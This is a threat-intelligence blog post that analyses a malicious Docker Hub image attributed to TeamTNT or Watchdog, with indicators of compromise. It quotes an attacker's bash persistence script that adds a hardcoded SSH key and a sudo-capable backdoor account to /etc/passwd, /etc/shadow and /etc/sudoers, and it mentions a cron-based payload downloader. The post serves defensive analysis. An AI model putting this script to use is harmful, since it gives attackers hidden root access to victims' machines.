TeamTNT Continues to Target Exposed Docker API

Update (2021-11-01)Attribution for this activity has been disputed and recent analysis by Palo Alto indicates that Watchdog deliberately used TeamTNT tactics to mask their operations. Additionally the use of exploit-laden Golang malware reported in this blog is consistent with Watchdog activity.


Key Takeaways

  • Exposed Docker APIs continue to be targeted by TeamTNT
  • Docker Hub continues to be leveraged for hosting malicious images.
  • TeamTNT’s arsenal expands into Golang brute force utilities.


Caught In The Honeypot – Again!

Lacework Labs recently caught a new TeamTNT Docker image posing as an Apache server targeting exposed Docker APIs in the wild. Upon successful deployment, the Docker image titled “apache” from Docker hub account “docker72590” creates a crontab entry that regularly executes and downloads additional payloads from hXXP://crypto[.]htxrecieve[.]top.

Figure 1 – Cronjob Dropper


At the time of this blog post, the Docker image has 1,900 pulls and has been active under this account since August of 2021.

Figure 2 – Dockerhub Account


Naming Schema TTP

Cross-referencing the domain in the cron entry shows low hits on VirusTotal along with three subdomains of “oracle,” “crypto,” and “pubzone”. This creates overlapping naming schemas of domains and subdomains for a historical link of domains associated with TeamTNT activity, such as  “zzhreceive[.]top”.

Figure 3 – VT Hits


Referencing the older domain “zzhrecieve[.]top”, the URL schema also matches the structure observed in historical open directory staging servers. Figures 4 and 5 below show the similar structure of the “.top” TLD, a sequence of alphanumeric characters followed by an open directory. Lacework Labs suspects that this combination is likely used to avoid web crawlers from indexing the files across common directory structures.

Figure 4 – Domain Similarities



Figure 5 – Opendir Malware Hosting


New Tooling, Same Tricks

Most of the TeamTNT tooling identified in this open directory has been previously reported by industry (XMRig, massscan, pdns scanner). However, a x86 and x64 UPX packed Golang binary called “htx-i-(x86|i686)” containing brute force functionality was identified that Lacework Labs has not previously seen. Additionally, bash scripts included a new ssh key (T1098.004) and a new account (T1136.001) under the name of “lsb” being added to the underlying victim machine.

RSAKEY=”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSBnZe/PWHvY8XtKUTqQ3UTIM37U4BHIVVvwADdQf1WYQxAUwrtmL+b+uLpJIJgb/CsTgn7DxJRTFwc7GHwv1dknnWJhpsfP/dGASCLg6Al3vCgkfl6DXpVRGA8dT0jFKvtiejO6K3yDUIK4L0ABZk65K9ssUGI1SYInHr7ak1cos1Ehjs5hzzD06tmsBfLMFLa1tbziKdwh7oPzLV2y6dqSoR6+7fEyaplD87v0O6G5v5uamaPBAPQUyH3YixfesMlR6iHv16Q5gMHFefFTgVWjfz+Tbohe47YUC5XE2wV1bqgYL5vDrmfePe0Nin64zikPttUEMkgaK4qxM/rkqT/iTYa2m0TDcXdajactjVOeVcUD6+IuJbsdwpPbmF6i2+dLpy6KlwBIjbel2hjR60ICiOT/Bxd1rjmiVLnTWBHldvwxW3jHbYSeVDPp2RQhqpwiyYpBjmYhndCnfnRphNyVua1c+LbG1jbh6Ju809bmE5VVr/MyZHbTy6HsD3JBk=”
${CHATTR} -ia /etc/passwd;
grep -q lsb /etc/passwd || echo ‘lsb:x:1000:1000::/home/lsb:/bin/bash’ >> /etc/passwd
${CHATTR} +ia /etc/passwd
${CHATTR} -ia /etc/shadow
grep -q lsb /etc/shadow || echo ‘lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::’ >> /etc/shadow
${CHATTR} +ia /etc/shadow
${CHATTR} -ia /etc/sudoers
grep -q lsb /etc/sudoers || echo ‘lsb ALL=(ALL:ALL) ALL’ >> /etc/sudoers
${CHATTR} +i /etc/sudoers

Figure 6 – Bash Droppers w/ New Accounts & Keys

The Golang binary includes Open Source bindings for Postgresql, Redis, OpenTelemetry as well as custom packages to perform brute force actions against ssh, Postgres and Redis services. The filepath of the adversary’s working environment can be seen in addition to other package artifacts in Figure-6 below.

Figure 7 – Golang Brute Force Paths


Embedded within the binary are several hardcoded usernames/passwords to support the brute force operations of this scan utility.

Figure 8 – Golang Username/Password Combo

XMRig Configs

Also hosted in the open directories were three separate files titled “avg1.tar.gz”, “avg2.tar.gz” and “avg3.tar.gz”. These are in fact not tar files, but JSON files that contain configuration information for the XMRig miner. All of the configuration files had the upstream URL pointing back to the server with the open directory suggesting that a proxy miner may be in use. The use of a Cryptocurrency proxy miner allows a centralized approach for configuration management for multiple miners, such as  controlling which wallet is donated to and what pools to contribute to. XMRig, the popular open source Cryptocurrency miner also has a proxy.


Figure 9 – opendir 2


Figure 10 – XMRig Configs


Adversaries continue to prey on weak passwords and misconfigurations to obtain initial access in cloud environments. Ensuring your systems are hardened against weak credentials, out of date software and are not exposing unauthenticated API endpoints is critical to protect your cloud assets. For more content like this, follow Lacework and Lacework Labs on Twitter and LinkedIn!



Artifact (File/Domain/IP)Hash
htx-i.686 (UPX packed)1a1fb5458bddd77f52258b46428c551dd869cd213977ff4f01a76616a59c4bcd
a.shfba130a236f69759f93fc964c364de7c731b1543f386f2c80ab6c347c15b4211 (from Docker image)7e37c00d8c7a7f596d77c49ec8d69c168950c4cf65ed8d2184ba882a946f49fc
htx-i-.x86_64 (unpacked)9a56365297461c773fff32a5ba3480486a685896323682cf3dd6391a6535150a
XMRig 6.8.269510db42e300635a6e8a373f156cfa44d5cedad5e35f4ef0b2b2648503a3422


Copyright 2021 Lacework Inc. All rights reserved.